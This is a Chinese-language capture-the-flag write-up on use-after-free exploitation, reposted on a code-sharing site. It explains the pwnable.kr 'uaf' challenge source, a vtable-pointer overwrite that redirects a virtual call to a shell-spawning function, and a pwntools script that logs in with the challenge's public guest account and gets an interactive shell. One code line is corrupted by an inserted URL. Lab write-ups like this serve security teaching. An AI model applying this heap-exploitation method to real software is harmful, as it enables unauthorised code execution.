首页 > 代码库 > Use-After-Free
Use-After-Free
0x00 UAF利用原理
uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。
0x01 UAF漏洞的利用步骤
(1)先精心构造一个迷途指针
(2)再精心构造数据填充被释放的内存区域
(3)再次使用该指针,改变程序流程
0x02 Pwnable.kr-uaf
源码如下;
1 #include <fcntl.h> 2 #include <iostream> 3 #include <cstring> 4 #include <cstdlib> 5 #include <unistd.h> 6 using namespace std; 7 8 class Human{ 9 private:10 virtual void give_shell(){11 system("/bin/sh");12 }13 protected:14 int age;15 string name;16 public:17 virtual void introduce(){18 cout << "My name is " << name << endl;19 cout << "I am " << age << " years old" << endl;20 }21 };22 23 class Man: public Human{24 public:25 Man(string name, int age){26 this->name = name;27 this->age = age;28 }29 virtual void introduce(){30 Human::introduce();31 cout << "I am a nice guy!" << endl;32 }33 };34 35 class Woman: public Human{36 public:37 Woman(string name, int age){38 this->name = name;39 this->age = age;40 }41 virtual void introduce(){42 Human::introduce();43 cout << "I am a cute girl!" << endl;44 }45 };46 47 int main(int argc, char* argv[]){48 Human* m = new Man("Jack", 25);49 Human* w = new Woman("Jill", 21);50 51 size_t len;52 char* data;53 unsigned int op;54 while(1){55 cout << "1. use\n2. after\n3. free\n";56 cin >> op;57 58 switch(op){59 case 1:60 m->introduce();61 w->introduce();62 break;63 case 2:64 len = atoi(argv[1]);65 data = http://www.mamicode.com/new char[len];66 read(open(argv[2], O_RDONLY), data, len);67 cout << "your data is allocated" << endl;68 break;69 case 3:70 delete m;71 delete w;72 break;73 default:74 break;75 }76 }77 78 return 0; 79 }
根据分析源码,大致漏洞利用思路:
因为在main函数开始处已经申请了两块内存
Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21);
我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用
case 3: delete m; delete w; break;
观察到case 2 申请了一块内存,并且对这块内存进行写操作
case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break;
在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照
1.IDA pro第二版124面
2.c++类实例在内存中的分配 (转)
此时堆内存分配大致如下图所示:
加上case 1中执行introduce函数
case 1: m->introduce(); w->introduce(); break;
vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。
通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.
利用脚本如下:
from pwn import *pwn_ssh = ssh(host=‘pwnable.kr‘,user=‘uaf‘,password=‘guest‘,port=2222)print pwn_ssh.connected()vtable_addr = 0x401570argv=[‘uaf‘,‘24‘,p64(vtable_addr - 8)]io = pwn_ssh.process(argv,executable=‘./uaf‘)io.recvuntil(‘3. free\n‘)io.sendline(‘3‘)io.recvuntil(‘3. free\n‘)io.sendline(‘2‘)io.recvuntil(‘3. free\n‘)io.sendline(‘1‘)io.interactive()
0x03 参考链接
pwnable.kr之uaf
逆向安全系列:Use After Free漏洞浅析
iOS冰与火之歌 – UAF and Kernel Pwn
Use-After-Free
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。